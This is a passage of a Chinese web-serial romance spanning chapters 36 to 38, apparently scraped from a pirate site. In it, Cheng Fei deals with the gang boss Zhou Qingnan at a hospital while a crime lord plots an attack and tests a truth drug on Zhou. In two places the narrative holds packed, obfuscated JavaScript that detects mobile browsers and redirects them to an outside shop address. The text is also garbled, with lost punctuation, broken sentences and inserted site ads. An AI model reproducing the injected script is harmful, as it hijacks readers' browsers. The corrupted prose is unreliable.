他也随手从裤兜里摸出手机,低眸点亮屏幕,修长有力的指滑动两下,然后便重新掀起眼皮子看她,说:“好友验证给你发过来了。” 程菲:“……?” “给我通过。”周清南没什么表情地说。 “……”??? 程菲被呛到了,一双乌溜溜的眸子瞪得老圆,望着周清南半天都不知道能说什么。 “给我把好友加回来。”周清南直视着她充满困惑的眼,顿了下,微微一挑眉,道,“你不是说我不和你聊天吗。从今天开始,我每天都会给你发十条以上的微信消息,绝不间断。” “……不、不用。”程菲被大佬这番表态给震住了,表情微僵,迟疑好几秒才挤出个比哭还难看的微笑,接着说,“加回好友也可以,但是每天十条以上的消息就不用了,不要勉强自己。” 开什么玩笑。 她删除他好友本来就是为了管住自己的心,让她不要再对他产生非分之想。 每天十条消息,她还怎么坚定信念快刀斩情丝? 程菲双颊红扑扑的,心里也乱糟糟的,没敢再多看周清南,自顾自低头在手机上操作,迟疑半秒,通过了来自“Zhou”的好友验证。 “好了。”程菲干巴巴地憋出两个字,说话的同时把手机重新收回包里,垂着眸故作自然地继续,“现在好友已经加回来了,你要是没什么事的话就先走吧,我阿姨住院了,我得去帮她买日用品什么……” “我没有勉强。”对面冷不丁扔下一句话,轻描淡写,将她没说完的话给打断。 程菲怔住,下意识抬起眼帘。 正好便上一道深不见底的视线。 周清南浅色的瞳正笔直地盯着她,瞬也不离。 胸腔内心脏跳动的频率,又一次不受控制地加快。看着周清南的眼睛,程菲竟有刹那失神,仿佛从那双眼瞳里看到了许多汹涌的暗潮。 复杂,隐晦,克 制,从不为人知晓。 然而没等她发呆太久,对面的男人已经收回了落在她身上的眼神。 周清南转过身,两手插兜,迈开一双大长腿便踏着台阶往楼下走,懒懒给她撂来两个字:“走吧。” 程菲忽然怀疑自己是不是得了什么痴呆症。否则,为什么经常听不懂这位大佬说的话呢。 “去哪里呀?”她轻皱着眉头问。 “你不是要给你阿姨买东西吗。”周清南回头看她一眼,嘴角玩味地扯了下,又恢复成往日里那副漫不经心又混不吝的模样,说,“陪你。” 程菲:“……” * 没等程菲做出反应,人周大佬已经踏着步子往楼下走去。 她目瞪口呆,站在原地足足石化了两秒钟才回过神,忙忙也加紧步子追上去。 “周……” 男人个子太高,两条腿也格外长,走起路来步距宽大,一步要顶程菲好几步。因此她不得不小跑起来。 楼梯不比平地,她怕步子太快会摔倒,只能硬挤进男人高大身躯和楼梯扶手之间的狭窄缝隙里,一边扶着扶手往下蹦着走,一边着急忙慌地说,“你不用陪我,真的不用,你肯定还有很多事情要忙,快去操心你自己吧!” 程菲简直快要急死了。 这会儿她一大家子全部都在这个医院里,谁知道她爹妈会不会也去楼下买什么东西?要是偶遇,被他们撞见她和周清南在这儿…… 苍天啊大地啊。 太可怕了! 谁知她这番苦口婆心的话劝完,一旁的大佬却跟完全没听见似的,只是微蹙眉,伸手一把捏住她细生生的胳膊,跟拎小鸡仔似的把她整个人往自己身前带,口中说:“靠里边儿走。这个扶手栏杆的空隙那么大,不怕摔下去?” 程菲一僵。 今天天气热,她的外套刚才已经脱下来,放在了顾姨的病房,这会儿身上只剩一件无袖的宽肩带背心。 男人的修劲有力的指掌覆上来,糙糙的,与她的滑腻皮肤形成强烈的触觉差,瞬间便激起她一层敏.感的颤栗。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13481691|94205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“……我又不是猫儿狗儿,怎么可能从缝隙里摔下去呀。”程菲脸蛋不自觉变得更烫,嘀咕着说了句,另一只手抬起,往他胳膊轻拂一下,便自然而 然将男人的指掌推开。 周清南被她挡开右手悬在半空停了停继而收回两指却不动声色地捻磨两下。 指尖对刚才触及的水嫩很留恋忍不住便去回味。 似乎关于她的一切他总是记忆犹新。 “……”周清南眸中的暗潮涌起又褪去转瞬即逝。他顿了下回她刚才那句不是”猫儿狗儿道 程菲听得汗颜心想这人说话就说话怎么还开始人身攻击了?这是在讽刺她个子矮吗? 典型的自己是姚明就看谁都是土行孙明明是他又高又壮太大只好不好! 程菲腹诽着但也没什么闲情跟他斗嘴左右环顾一眼又紧接着说:“拜托了周总、周大佬、活菩萨!我跟你说真的!你别跟我一起去买东西行不行?” 周清南侧目瞅她一眼见这姑娘两只白生生的小手做合十状皱眉嘟嘴一副可怜巴巴的状貌不由扬眉“为什么?” “我爸妈还有其他长辈都在这里。”程菲说起来就害怕做贼心虚般将声音压低格外严肃“被他们看到我们俩在一块儿他们会误会的。” “误会什么?”周清南问。 “当然是误会……”程菲卡壳半秒一双大眼眨巴两下耳根子也被灼烧得烫起来小声嘟囔扭扭捏捏的“误会我们两个有一腿。” 周清南:“。” 周清南将小姑娘绯红的脸蛋和耳垂收入眼底眼底几不可察地闪过一丝笑又问她“你爸妈见过我?” 程菲呆了呆摇头:“没有啊。” “那你怕什么。”周清南直勾勾瞧着她似笑而非“如果真和你父母遇上我就离你三米远装不认识不就行了。” “……”说得好像有点道理? 经这位大佬这么一提点程菲这才后知后觉回过神来拍拍脑门——也对哦!长辈团里至今只有顾姨见过他本尊的庐山真容她爹妈又没见过!她怕个登儿啊! 果然爱情使人愚昧。 自从喜欢上了这个坏男人她脑子里就跟装了团浆糊似的。 想到这里程菲一下就没那么慌了若有所思地看一眼周清南凌厉冷峻的侧颜在心里默默点评:男颜祸水 毁我智商。 我势必将恋爱脑剔得一干二净! “也是。 程菲冷静下来,想起昨晚某狗头军师说的“欲斩情根,冷若冰霜这一八字箴言,便很用力地清了清嗓子,用此生最冷酷无情的表情,语气梆硬地说,“那你想跟就跟吧,随你。 周清南点头:“好。 程菲眯眼瞅他,更加冷酷无情地说:“到时候看我眼色行事,自己机灵点儿啊。 周清南:“…… 周清南:“好。 放完狠话,程菲就把目光收回去了,发誓一个眼神都不再给这个乱她心神的坏男人。自顾自挺胸抬头,雄赳赳气昂昂,大步走出了市医院的住院部大楼。 全国各地的医院都差不多,大门口小商店扎堆,什么日用品店、食品店、水果店,应有尽有。 程菲随便找了一家大型点的商超,提步入内。 周清南踏着步子跟她后面,脸上神色平淡,全程一个字不说,主打一个安静。 要不是这人身上的气场和存在感实在太强,她几乎都快忘记自己背后还跟着个跺跺脚整个滨港都要大变天的黒帮大佬了。 不过,周清南不说话,倒也正合程菲的心意。她现在本来就不怎么想跟他单独相处,他一声不吭,她索性也就把他当空气,全程不理也不睬。 她来到货架前,从包里翻出一张小纸条,对照着上面的内容依次往购物车里扫货,嘴里念念有词地嘀咕着:“盆子,牙刷,牙膏,漱口水,洗脸巾,水果刀…… 没一会儿,蒋兰布置的购物清单全部采购完毕,程菲推着购物车到收银台结账。 “一共一百三十块。店员小哥热情地说。 “哦。程菲笑着应了句,从包里取出手机,正准备展示付款码,视野中却忽然映入一只骨节修长的大手,指尖还夹着两张百元大钞,递到了店员小哥面前。 “好的,收您200元整,找零70,请稍等。店员小哥笑眯眯的,顺手就把那张纸币给收进了收银机,动作行云流水,一气呵成,简直跟古时候的武林高手有一拼。 “诶诶诶,不……程菲傻眼,拒绝的话还没来得及出口,小哥已经把找零的七十块笑眯眯地递了回来。 她:“… …” 程菲被小哥的手速深深震惊,正想对小哥竖个大拇指,夸他一句今年的武林大会没你我不看,边儿上的周大佬却已随手装好了所有物品,袋子一合拎手上,转身走出了商店大门。 无可奈何,程菲只好从店员手里接过纸币,转身小跑着追出。 “周清南。”她略微抬高音量。 闻声,前面的周清南步子微顿,漫不经心地转过头来,嗯了声,强调带着一丝鼻音,听上去慵懒又随性。 “我有钱,不用你帮我付。”程菲尽量管理好表情,冷冰冰地说,“我等下就把两百块微信转回你。” 话说完,她便大步上前,伸手抓住购物袋的提手,试图把袋子从他手里抢回来。 周清南这会儿也察觉到这姑娘有点儿不对劲了。他直勾勾盯着她,五指力道一分不松,眼神里充斥着兴味儿和探究,暧昧不明。 这边的程菲拉拽半天,发现抢不过来,不乐意了,晶亮的明眸抬高了望他,眼一瞪,硬着头皮摆出自己最凶恶的神态,道:“快点松手,不然我就大声说你抢我东西,让围观群众报警抓你。” 周清南:“你怎么不说我非礼你。” 程菲:“……” “像我这样的恶人,罄竹难书,犯的罪根本数不清。杀人放火打家劫舍,哪样我没干过。”周清南眉峰微抬,忽然弯下腰,倾身往她贴近些许,在她耳畔续道,“不过,非礼姑娘对我来说还真是实打实的第一次,怪新鲜的。” 程菲:“…………” 周清南又低声说:“污蔑我对你犯非礼罪,应该比污蔑我抢劫有意思。” 作者有话要说 大佬冷静啊!还没到你大口吃肉开荤的时候,你想对菲菲仔干什么已经是司马昭之心路人皆知了! —— 满满对手戏的一章,求表扬(叉腰) 随机100红包包~ 第 37 章 他的温柔。 第37章他的温柔。 他靠近她耳边说话,这距离说近也不算太近,但呼出的气息却丝丝缕缕吹拂过她细腻的耳朵,有点儿凉,烟草味里夹杂一丝薄荷气息。 程菲没有料到他会忽然靠过来,被男人身上的味道兜头盖脸罩了个透,心一慌,脸发热,条件反射便侧了下脑袋,躲开。 与此同时,她脚下也往后退开一步。 鼻息间清甜的果香淡去了,像从周清南梦境里振翅掠过的蝶。他对她的逃离毫不意外,只是慢条斯理地重新直回身子,站原地,耷拉下眼皮直勾勾地看她。 程菲两边脸都还红红的,整颗心脏也因为男人刚才的举动兵荒马乱狂跳个不停。 她羞恼,同时也郁闷自己不争气,忍不住抬眸瞪他一眼,磕巴道:“你说话就说话,突然靠这么近做什么?” 周清南神色自若,懒洋洋地回她:“不靠近点,难道拿个喇叭喊,说我杀人放火无恶不作犯了一堆事?” 程菲:“……” 好吧,他有道理。她说不过他,躲得远远的总行吧。 程菲一时无言,面红耳赤地抬手捋了捋头发,随后便转过脑袋假装看风景,又换上那副“你爱咋咋”的冷酷表情,闷闷地道:“你非要做苦力那就做吧,反正我没薪水付给你。” 说完,她又瞟了眼周清南拎在手里的一大袋东西,接着便暗暗咬了咬唇瓣,转过身,大步往市医院住院部的大门走去。 一副打定了主意不再搭理他的模样。 看着小姑娘纤细楚楚的背影,周清南细微挑了下眉,被她的各种古怪反应弄得有点儿想发笑。 前几天在演播大厦里见到,她还对他客气有加毕恭毕敬,这才多久,转头把他从微信好友里删了不说,面对面也冷得跟个小冰块儿似的。 又抽什么风呢。 眼瞧着那道俏生生的小背影已经走出四五步,周清南终于又冷不丁出声,语气散漫地说:“你前脚刚到医院,我后脚就能立马找过来,你就不好奇?” 话音落地,就见不远处那道走得气势如虹的身影成功僵住,紧接着又机器人似的卡壳、停住,最终“嗖”一下转回了脑袋,看向他。 鹅小说全网首发无弹窗免费阅读qiexs?(请来企 鹅小说 看最新章节 完整章节) 程菲眯了眯 眼睛。 对了。 这坏男人不说她都差点忘了——是啊,她一个多小时之前才接到的母上电话,赶到医院探望因为打架折了之只胳膊的顾姨,他是怎么跟过来的? 时间差这么近,如果这位大佬不是有千里眼顺风耳,那就只剩唯一一种可能性…… 程菲这姑娘,平时虽然有点儿不着调,也经常一副状况之外的迷糊状态,但她脑瓜子总体还是好用。她在心里琢磨着,仅仅三秒钟便反应过来了什么。 “我的天。她着实被自己的猜测给吓一跳,又惊又气,一根白生生的食指颤抖着举起来,愕然道,“你、你居然找人监视我?! 在这片红星照耀的神圣土地上做出这么刑的事,还有没有王法了?还有没有天理了? 面对程菲的怒指,人周大佬却依然淡定得很,还是那副好像天塌下来他老人家也毫无所谓的懒散样。 他只是踏着步子往她走近了两步,学她的模样也伸出一根修长的指,然后抬高几分,轻轻点在了姑娘瓷白滑腻的手背上。 男人的手指一点也不软,硬而修劲,仅仅只是指尖的触碰也令程菲止不住地心尖发紧。 她被他的举动弄得一怔,没等她回过神,那只漂亮有力的指已经微用力,压着她的手背、将她整只手都给慢条斯理地压了下去。 动作轻而缓,竟透出一种错觉般的温柔。 程菲眸光闪烁了瞬,被他手指碰到的皮肤被烫到般灼烧起来,直连耳朵尖都染上绯色。 “指着人说话可不是什么好习惯。 周清南盯着她,说,“尤其是像程助理这么有礼貌又讲文明的高素质人才,在大街上指着人鼻子诽谤,有辱斯文。 程菲:? 程菲眨了眨眼睛,回过神,直接被这位大佬一本正经颠倒黑白的欠扁姿态给气傻了,目瞪口呆道:“诽谤?明明是你找人监视我在先,现在居然还倒打一耙说我诽谤你?有辱斯文的人是你吧! 话说完的同时,程菲余光不经意一瞟,看见自己的手背居然还和周清南的食指碰在一起,脑子嗡嗡两声,赶紧嗖一下将自己的爪子给飞快抽回来,拿另一只手捂住。 然后满脸防备地盯着他。 周清南也笔直瞧着她,道:“先说清楚 ,我可没有监视你。” 程菲不相信,皱紧眉头说:“你如果没有监视我,怎么能立刻知道我的行踪?” 周清南纠正她的用词:“那不叫监视。” 程菲一时间没反应过来,嘀咕道:“你少在这儿找借口。你这种行为要是被我投稿到网上,网友们可以群情激愤地骂你一万条不带重样的。” 周清南静两秒,随后便寡淡地勾了勾唇角,耐着性子道:“上次我就跟你说过,我的仇家很多,多到你无法想象。你现在顶着我女人的名头,无数双眼睛盯着你想要对你不利,如果不是我在暗处护着,你觉得自个儿的太平小日子能过这么久?” 话音落地,程菲倏地一怔。 ……也是 她想起来了。 之前他好像跟她说过这个话题,也郑重叮嘱过她。 没等程菲回话,周清南又开口了。他平静地说:“所以我才要时刻知道你的行踪,以防意外发生。如果你觉得很不爽,我只能向你道歉,对不住。” “那……好吧。” 得知他确实不是在监视她,而是在为她的个人安全负责后,程菲心里也就没那么气愤了。 她低着头,随手拍了拍刚才被他摸到过的手背皮肤,口中忍不住小声吐槽,“早知道后面会有这么多麻烦事,那天晚上我就换个人,不找你了。” 姑娘说最后这句话的声音很小,用的是自言自语只有自己能听见的音量,但周清南还是听得一清二楚。 他眉峰半抬起,再出声时明显语气不善,道:“除了我,谁会这样平白无故护定你。” 程菲闻声,太阳穴突突一跳,先是意识到自己说小话又被这位大佬听了去,心里有点尴尬又有点窘迫,之后才注意到大佬话里的内容。 她耳尖泛热,禁不住瞄他一眼,轻声不解地嘟囔:“既然是其他人都不会做的事,那你为什么要做?” 周清南眼神里的光凝了一瞬,旋即便恢复如常,漫不经心地说道:“因为我社会责任心比较强。” 程菲:……那你可真是太棒了。 程菲被这个理由噎得半晌无言,就在这时,一阵手机铃声忽然响起,将她的思绪拉回来。 匆匆掏出手机看来电显示,屏幕上赫然两个大字:老妈。 程菲眼珠子瞪圆几分,暗道一声不好——跟这个大佬在这儿东拉西扯老半天,差点忘记她是下楼给顾姨买住院必需品的! 这会儿距离她出病房已经小半个钟头了,蒋兰女士此刻来电,铁定是看她半天不回去觉得奇怪。 她妈该不会已经下楼来找她了吧?! 程菲被脑海中蹦出来的猜测给生生一惊,手忙脚乱地把电话接起来,尽量自然:“喂妈。 “让你下楼买个东西,半天不见人影,磨磨唧唧的。蒋兰女士的声音从听筒里传出来,念叨了她两句,接着又问,“你这会儿在哪儿呢? “我…… 程菲支吾了下,眼风无意识扫了眼对面的周清南,心里莫名发虚,清清嗓子说,“我刚买完东西从商场出来,刚到住院部门口。 “商场离住院部又不远,怎么这么久? “反正就这么久呀。程菲硬着头皮和蒋兰争辩,“市医院这边每天人流量有多大你又不是不知道,排队结账都排了老半天。你对那些生活用品的品牌还有要求,有些找不到,我还得花时间找等替。 蒋兰听女儿在电话里说完,也没怎么怀疑,只道:“那就辛苦我的宝贝大小姐了。正好,我也刚下楼,你往里走吧,我过来接你。 一听这话,程菲瞬间吓得脸色发白,说话都跑调了,慌张拒绝:“不不不,不用接我! 电话线那一端的蒋兰察觉到异样,狐疑起来,莫名道:“……你拎那么重的东西,我想着来帮你拿一下而已。干嘛这么大反应? “我没有很大反应啊。程菲急得额头上都是汗珠,硬着头皮若无其事地干笑,“妈,我是觉得这外面太热了,你下来出一身汗,还不如在病房里待着吹空调。 事实证明,知女莫若母。 蒋兰吃过的盐比程菲吃过的饭还多,见闺女遮遮掩掩闪烁其词,心思一转就想到什么,打趣儿地轻哼两声,说:“怎么,地下恋对象忽然来找你了,怕被你妈我撞个正着? 程菲生生呛咳两声,一张脸蛋涨通红,否认:“妈你少诈我,我哪儿来地下恋对象。 “哎呀,反正来都来了,让小伙子上楼坐坐呗。蒋兰乐呵呵的,“顺便也跟你爸打个招呼。 “都 说没有地下恋了。”程菲面红耳赤心乱如麻回完一句“我马上回来了拜拜”后便飞快将电话挂断。 收起手机她唰一下抬眸看向周清南。 这会儿蒋兰女士已经在路上了说不定下一秒钟就会突然出现因此程菲慌得很也顾不上践行什么八字箴言了手一摊就伸到他眼皮底下着急忙慌道:“拜托拜托你快把东西还给我我妈马上来了!” 周清南好整以暇地瞧着她见这小姑娘脸蛋皱成一团急得都开始跺脚眼底便隐隐浮现出一丝笑意。 他伸手把袋子递给她轻嗤道:“刚才那么拽这会儿倒是老实了。” 程菲伸出两只手去接。 周清南却像想起什么 程菲不解用茫茫然的眼神望他。 只见这位大佬脸上没什么表情垂下眼皮一只手拎大袋子另一只手随便在袋子里翻找两下然后取出一条干净毛巾单手拿着翻折两下垫在了提手处然后才给她递过来。 嗯?程菲浓密的长睫扑扇两下对他的这一举动感到疑惑。 “你买的这些东西有点重。”周清南随口说“加个软毛巾垫一下免得勒你手。” 程菲:“……” 短暂的一息光景里她胸口猛跳两下汩汩血液经过心脏后流速加快被大量输送至脑袋使得她本就微热的脸颊红成天边的火烧云。 加个毛巾是为了怕提手的绳子太细会勒到她…… 程菲双手并用将袋子接过来与此同时垂下眸轻轻咬了咬唇瓣。 她明明都已经下定决心要终止对他的喜欢为什么又要让她发现他这么细腻温柔这么好的一面…… 好烦躁。 程菲心里乱成一片没敢再去看周清南只是低着眸深吸一口气用最淡定的语气说:“好了周总请回吧我还有事情就不送您了再见。” 说完她便转过身迈开步子离去。 事实证明程菲确实很有先见之明。她拎着袋子还没走出一百米迎面便遇上一个穿蓝绿色连衣长裙的中年妇人长头发大眼睛面上虽已有了岁月痕迹却仍旧难掩那副格外出挑的美貌与风姿。 不是她亲爱的蒋兰女士是谁。 “……”看见老妈身影的刹那程菲心里顿时紧了紧忐忑不安间下意识回头觑了眼后方。 这一瞧发现人潮涌动行人往来某位大佬已经不见了踪影。 ……跑这么快是用飘的吗? 程菲纳罕鼓起腮帮悄悄吐出口气转回脑袋的同时面部表情已经重新调整好定定神没事人似的迎上去:“妈我不是让你别下楼吗。” “欸?”蒋兰左右张望了眼皱眉看向闺女“人呢。” 程菲装傻装得毫无痕迹:“什么人。” “……”蒋兰无语抬手轻轻拧了下程菲的胳膊嘀咕着嗔道“臭丫头连你老妈都瞒看你还能装疯卖傻多久。” 程菲舔着脸朝蒋兰嘿嘿笑故意撒起娇来“妈咱们快走吧这袋东西老沉了。” “我来拎。”蒋兰伸手去接。 “哎呀不用我拎得动……” “拎得动你还在那儿叫苦连天的。” 母女两人说说笑笑很快便一齐走进住院大楼消失不见。 一道黑色身影这才从旁边的便利店里走出。 叮。 周清南拿打火机点了根烟抽一口目视着程菲和蒋兰远去的方向面容很平静沉寂的眸映入一丝浅金色的日光平添柔和。 片刻周清南收回视线准备离去。然而刚转身眼皮子一抬正好就看见停在不远处的一辆亮银色商务车。 后座车窗落下大半一名美少年坐姿懒散正支着下巴定定看着他眼神里趣味盎然。 只一瞬周清南脸色稍沉眸光也阴戾几分。 马路上车水马龙充斥着各色各样的噪音交谈声叫骂声刺耳的喇叭声杂乱不堪。 两个男人隔着一条街无声对望一个兴致勃勃一个冷漠无澜仅仅眼神的交锋也杀机四伏。 过了大约半分钟车里的年轻男人冲周清南扬了扬眉竖起双指 商务车发动缓慢地融入进拥堵车流。 周清南的手机在这时响起。 他顿了下又抽一口烟边侧过头吐出烟雾便随手滑开 接听键,语气淡漠中带着恭谨:“梅老。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13481692|94205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >谁知下一秒,一阵笑声却从听筒里传出来,嗓门儿软糯清脆、稚气未脱,听着就像是一个几岁的小娃娃。 周清南听出对方是谁,态度瞬间冷下去,“什么事。 “梅老要见你。周小蝶的口吻活泼而又充满童真,笑盈盈地说,“下午一点钟,到西郊,过来陪梅老打牌。 听完,周清南一个字没回,直接将连线切断。 * 城市另一端,西郊一座庄园式别墅内,几个园丁模样的中年人正在修剪花枝,从高空俯瞰,整座庄园仿佛一粒白绿相间的明珠,镶嵌在这片充满中式审美的山水画中。 下沉式会客厅摆放着一个巨型海缸,几条宠物鲨在幽蓝水液中游动。 梅凤年长身玉立,随手将几条活生生的小鱼扔进缸里,一眨眼的功夫,便被几条鲨鱼撕咬着分食而光,暗红色的血液犹如艳丽珊瑚丝,在水中徐徐蔓延开。 忽地,一阵娇嗔从露台方向传来,骂骂咧咧:“这个周清南真是越来越讨厌了,一声不吭就把我电话挂断,要不是我打不过他,我早就把他切成八百块喂鲨鱼! 说的域名qiexs?(请来企鹅小 说 看最新章节 完整章节) 梅凤年听见这道声音,嘴角勾了勾,边继续喂鲨鱼边随口说:“你和阿南认识了多少年,还不了解他是什么脾气么。 周小蝶小手捏着手机,重重往沙发里一扔,穿着公主裙的小身子也爬到沙发上坐好。 她气鼓鼓的,用力锤了两下怀里的洋娃娃,看向梅凤年,轻哼:“他的脾气还不是梅老您纵出来的。连外人都说大少爷只是梅氏的面子,周清南才是梅氏的里子,整个梅氏上下,除了你之外还有谁能治得了他周清南? 梅凤年这会儿正好也喂完了鲨鱼,垂眸摘手套,旁边的助理见状,赶紧上前把脏了的手套毕恭毕敬地接过,丢进垃圾桶,又赶紧将晾在桌上的一个白玉碗端起,给他递上。 梅凤年被那浓郁的中药味熏得皱眉,接过碗叹了口气,也不喝,只慢悠悠地坐到沙发主位。 “这么大一个公司,我一个人打理起来多累,当然得给自己找帮手。他低眸,面部皮肤虽已苍老,骨相却仍旧硬朗而立体,轻轻往中药里吹了口凉气,饮一口,满嘴发苦,顿时嫌弃地皱眉。 “阿南这 孩子老樊在的那会儿我就看上他了。”梅凤年继续说:“没想到这么多年过去新人旧人磨个遍用来用去还是他最趁手。怪谁啊还不是怪其他人不中用。” 周小蝶眨眼“听梅老您的意思周清南倒比您几个儿子都好了。” 梅凤年闻言低笑出声笑着笑着就又是一阵闷咳再说话时声音也变得有点儿嘶哑摆手道“景荟是个姑娘家安心做做设计、搞她的时尚就挺好。景禹景慎的性子都软了点儿景逍我倒是最看好的。” 说到这里梅凤年将一大碗中药一饮而尽拧着眉随手把碗丢给旁边的助理拿方巾优雅地擦擦嘴接着说:“这小子心比天高从小就喜欢跟他南哥比我这些年睁只眼闭只眼正好顺水推舟拿阿南练练他。” 周小蝶听完静默两秒说:“前几天小少爷找人暗算周清南这事儿您也知道吧。” “嗯。”梅凤年说着话又给自己点了根烟轻笑一声“放心在景逍正式赢过阿南之前他不会真要阿南的命我也不会让阿南死。” 周小蝶拿手指给洋娃娃梳了梳头发忽然又长长地叹了口气凉悠悠道:“人家从十七岁就帮你卖命到最后只是一块您拿来历练儿子的磨刀石是不是等小少爷正式出师您就准备卸磨杀驴了呀?” “那也不至于。”梅凤年呼出一口惨白的烟雾笑了下又说“至少我会让他活到我入土。” 周小蝶闻声脸色微变心思百转重新抬眼看向梅凤年。 梅凤年便伸出一只手轻轻抚了下小女孩柔软的长发漫不经心道:“我活不了多久了将来梅氏的龙头老大谁来做、红狼在中国的代理人谁接任都是大问题。周清南太厉害了有他在 周小蝶眼中隐隐浮起一抹伤色但转瞬即逝。她很快又恢复成笑颜如花又天真无邪的表情促狭地眨眨眼:“梅老跟我说这些不怕我转头就告诉周清南吗?” 梅凤年抽着烟略微一扬眉:“你会吗?” 周小蝶滞了下一时无言。 梅凤年看她的眼神变得耐人寻味嗤笑出声摇头:“你不会的。” 周小蝶注视着这个男人眼神颇有几分复杂片刻呼出一 口气,换了个话题:“你今天叫周清南过来,是要给他安排乌川的活吧?” “那边下个月就要开大会,组织交代了,要给咱们的朝廷送份恭贺大礼。”梅凤年点了下烟灰,脸色淡漠,“这些年国安的条子一个个的,像变聪明了些,组织布置的所有袭击任务,七个里只做成了两个,这回再失败,我这个中国区代理人怕是不用当了。” 周小蝶挑了挑眉毛。 樊正天倒台后,周清南便一直跟在梅凤年身边做事,然而梅凤年太多疑,多年来,他始终没有让周清南直接接触过红狼组织。 这次连这张保留王牌都准备打出来,看来上头的施压实在不小。 就在这时,一个穿白大褂的老者稳步走进来,对梅凤年笑了笑,客气而恭敬地说:“梅总,您要的药。” “博士辛苦了。”梅凤年指尖夹烟,扫了眼老人家手里的透明玻璃瓶,笑问,“是今年最新的版本?” 白大褂老人点头:“对,上一版本的吐真剂原料来自印度,但是对中枢神经的打击面积太大,多脑区同时作用,不良反应极多,同时有致命风险。这个版本的硫喷妥钠我做了大改进,不再有致幻效果。” 梅凤年面上露出一抹满意的笑,颔首:“去准备吧。” “是。”白大褂老人转身离去。 脚步声渐远。 周小蝶拿手指梳着洋娃娃的头发,忽然摇头,叹息着说:“江博士的药年年都改良,年年都最先用在周清南身上。这位爷身上残留的毒素加起来,估计能毒死一头小鲨鱼。” 梅凤年看周小蝶一眼:“你别说得这么夸张,我哪有这么残忍?” 周小蝶耸肩,“跟你做事还真是不容易,两年一大试,半年一小试,又是测谎仪又是神经毒素,我要是周清南,早撂挑子不干了。” 梅凤年笑:“关关难过关关过。只有过了这一关,他才是真正的自己人。” * 市医院住院部。 程菲和蒋兰走进一楼大厅,耐着性子等了差不多五分钟,才终于等到一架人稍微少点的电梯,挤进去,回到9楼。 母女俩聊着天说着话,正往顾姨所在的病房走着,半道就遇上程国礼从洗手间里出来。 “爸。”程菲招呼了声,拎着一 第 38 章 “我把你包了。” 第38章“我把你包了。” 此时此刻,面对两个古惑仔青年那声荡气回肠又震耳欲聋的“大嫂好”,程菲脑瓜子嗡嗡的,两眼发黑手脚发麻,瞬间整个人都傻了。 都说人在江湖飘,哪有不挨刀。 程菲由衷绝望,暗道她这也没正式成为江湖人吧,就只是和江湖上的黒帮大佬闹了点小绯闻而已,至于来医院探视个病人都被突然插刀吗? 她到底是做了什么孽,要遭此大劫! 啊!!! 古惑仔二人组一嗓子吼完,不仅程菲本人实现了三百六十度全方位无死角懵逼,跟在她背后的程国礼和蒋兰也没好哪儿去。 两人你瞅瞅我,我看看你,也都一副怀疑人生的表情。 不过,姜还是老的辣,程家夫妇年轻那会儿也是走南闯北见过大阵仗的,几秒震惊过后,两人很快就回过神来。 程国礼皱紧眉头,对这俩一看就不是什么好东西的社会青年没有半点好脸色,冷斥道:“在这儿瞎喊什么,谁是你们大嫂?” 两个混混青年听完程国礼的质问,不禁也有点儿懵,其中一个正准备搭腔,又一道清脆悦耳的女声却先一步响起,将他打断。 “就是,瞎喊什么。”托程国礼同志那道磁性十足男低音的福,程菲这头也魂魄归位反应过来,附和着说了句。 她脑瓜灵活得很,细思两秒就猜出了个大概,这两个年轻人一看就是道上混的,能出声喊她一句大嫂,十有八.九就是周清南手底下的虾兵蟹将。 她爹妈本来就怀疑她瞒着他们搞地下恋,要是让二老误会,自己闺女非但搞了地下恋,还搞了个黒帮老大,不分分钟气出心脏病才怪! 因此,程菲很明智地认为,自己的当务之急并不是过问这俩小虾米究竟师从何方、和周清南又是什么关系,而是先要让他们乖乖闭嘴,不在她爸妈面前乱说话。 心里这么琢磨着,程菲眼珠子转一圈,主意就已经有了。 “嗯?”这时,古惑仔二人组中个子高点的混子B面露茫然,不解地端详起程菲,自言自语地嘀咕道,“难道我认错了?不会啊,那天晚上在汽修厂我……” “你什么你。”程菲板着脸,目光凶巴巴地在两人面 上扫一圈,沉声,“你们两个大老爷们儿,没聋没瞎有手有脚,居然欺负一个深夜在路边摆面摊的阿姨,还有没有良知了?” 其实程菲人长得好看,说话的声音也细细的,即使板着脸说狠话也没什么太大的杀伤力。 两个混子这会儿还在纠结“这个漂亮小妞到底是不是自家大嫂”这一格外严肃且关乎他们前途生死的问题,被程菲一怼,都愣了下,没吱声。 程菲见两人不语,只当古惑仔们成功被自己威慑,又眯了眯眼睛,继续发功:“你们混哪里的,你们老大知道你们吃霸王餐还殴打五十岁阿姨吗?” 两个小混混也不是傻子,从程菲的这句话里听出了浓浓的威胁意味,瞬间更怂了,纷纷舔着脸朝程菲挤出个笑,忙颠颠地道:“这都是一场误会,我们也不知道那个摆摊的阿姨是您认识的人啊……” “够了。”程菲很霸气地摆了下手,满脸不悦,“我不想听你们在这儿说废话。识相的就赶紧进去给我顾姨道歉。” 混子A巴巴地瞅着她,哭丧着脸道:“可是大嫂……” “还敢乱喊!”程菲表情更凶,“以为喊我大嫂就不用接受法律的制裁了吗?警察同志就在里面,再敢多嘴一个字,我马上告你们骚扰。” 混子二人组彻底僵住,瞅瞅程菲——眼神恶狠狠,杀气腾腾,想刀人的心明显已经快压制不住,充满威胁和某种暗示意味;余光一瞟,又瞧瞧程菲背后的程国礼和蒋兰——满脸迷惑满头问号,正用探究的目光观望着现场局势。 